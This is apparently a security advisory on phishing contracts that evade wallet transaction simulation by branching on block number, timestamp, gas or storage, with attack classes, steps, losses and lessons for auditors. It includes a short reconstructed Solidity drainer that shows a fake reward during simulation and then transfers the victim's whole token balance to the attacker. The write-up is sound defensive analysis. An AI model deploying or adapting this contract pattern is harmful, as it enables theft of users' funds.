Root Cause
Wallet transaction simulation (used by MetaMask and similar wallets to preview balance changes before signing) runs the contract in a local context. Malicious contracts exploit dynamic blockchain state — block.number, block.timestamp, tx.gasprice, gasleft(), or externally-controlled storage — to branch differently during simulation vs. real execution. The wallet displays a benign (or even profitable) preview; on actual submission the code takes a different path and drains user funds.
Researchers (arXiv:2607.28747) identified six attack classes:
| Class | State Variable Exploited |
|---|---|
storage-control | Contract storage slot modified between simulation and execution |
external-control | External contract return value changes post-simulation |
gas-control | gasleft() differs between simulation (unbounded) and real tx |
gasprice-control | tx.gasprice set to 0 in simulation but non-zero on-chain |
blocknumber-control | block.number crosses an activation threshold |
timestamp-control | block.timestamp used as a time-lock |
// Minimal blocknumber-control phishing contract (reconstructed):
contract SimPhish {
uint256 public constant ATTACK_BLOCK = 22_500_000;
function claim(uint256 amount) external {
if (block.number < ATTACK_BLOCK) {
// Simulation sees this branch: appears to transfer tokens TO user
emit Reward(msg.sender, amount);
return;
}
// Real execution after threshold: drains entire token balance
IERC20(TOKEN).transferFrom(msg.sender, ATTACKER, IERC20(TOKEN).balanceOf(msg.sender));
}
}
Attack Steps
| Step | Actor | Action |
|---|---|---|
| 1 | Attacker | Deploys state-gated phishing contract, sets activation threshold in near-future block |
| 2 | Attacker | Promotes as legitimate airdrop / token sale on social media or phishing sites |
| 3 | Victim | Wallet simulates the transaction — block hasn't crossed threshold, preview shows small gain |
| 4 | Victim | Approves and submits transaction on-chain |
| 5 | Chain | Real execution crosses activation threshold; contract drains victim's approved token balance |
| 6 | Attacker | Collects funds; re-deploys fresh contracts with new thresholds for next wave |
Impact
- ~$3.48M stolen from 5,742 victims
- 4,224 malicious contracts deployed across Ethereum, BNB Smart Chain, Avalanche, and Polygon
- Attack pattern is ongoing; SimGuard bytecode detector now available to wallets
- Most victims had previously approved token allowances the attacker leveraged
Lessons for Auditors
- Simulate at execution state: Wallets must re-run simulation with the same
block.number,block.timestamp, andgasparameters as the pending on-chain transaction, not an arbitrary earlier snapshot. - Flag conditional fund flows: Any contract whose
transferFrom,transfer, or native ETH send is inside a branch conditioned onblock.number,block.timestamp,gasleft(),tx.gasprice, or mutable storage should trigger a high-severity warning. - Asymmetric preview vs. execution: Audit for contracts that
emita gain-looking event in one branch andtransferFrom(user, attacker, balanceOf(user))in another — the combination is a hallmark of this pattern. - Cross-chain deployer tracking: The same attacker wallet often deploys identical contracts across multiple EVM chains. Anti-fraud infrastructure should propagate confirmed phishing deployer addresses chain-to-chain instantly.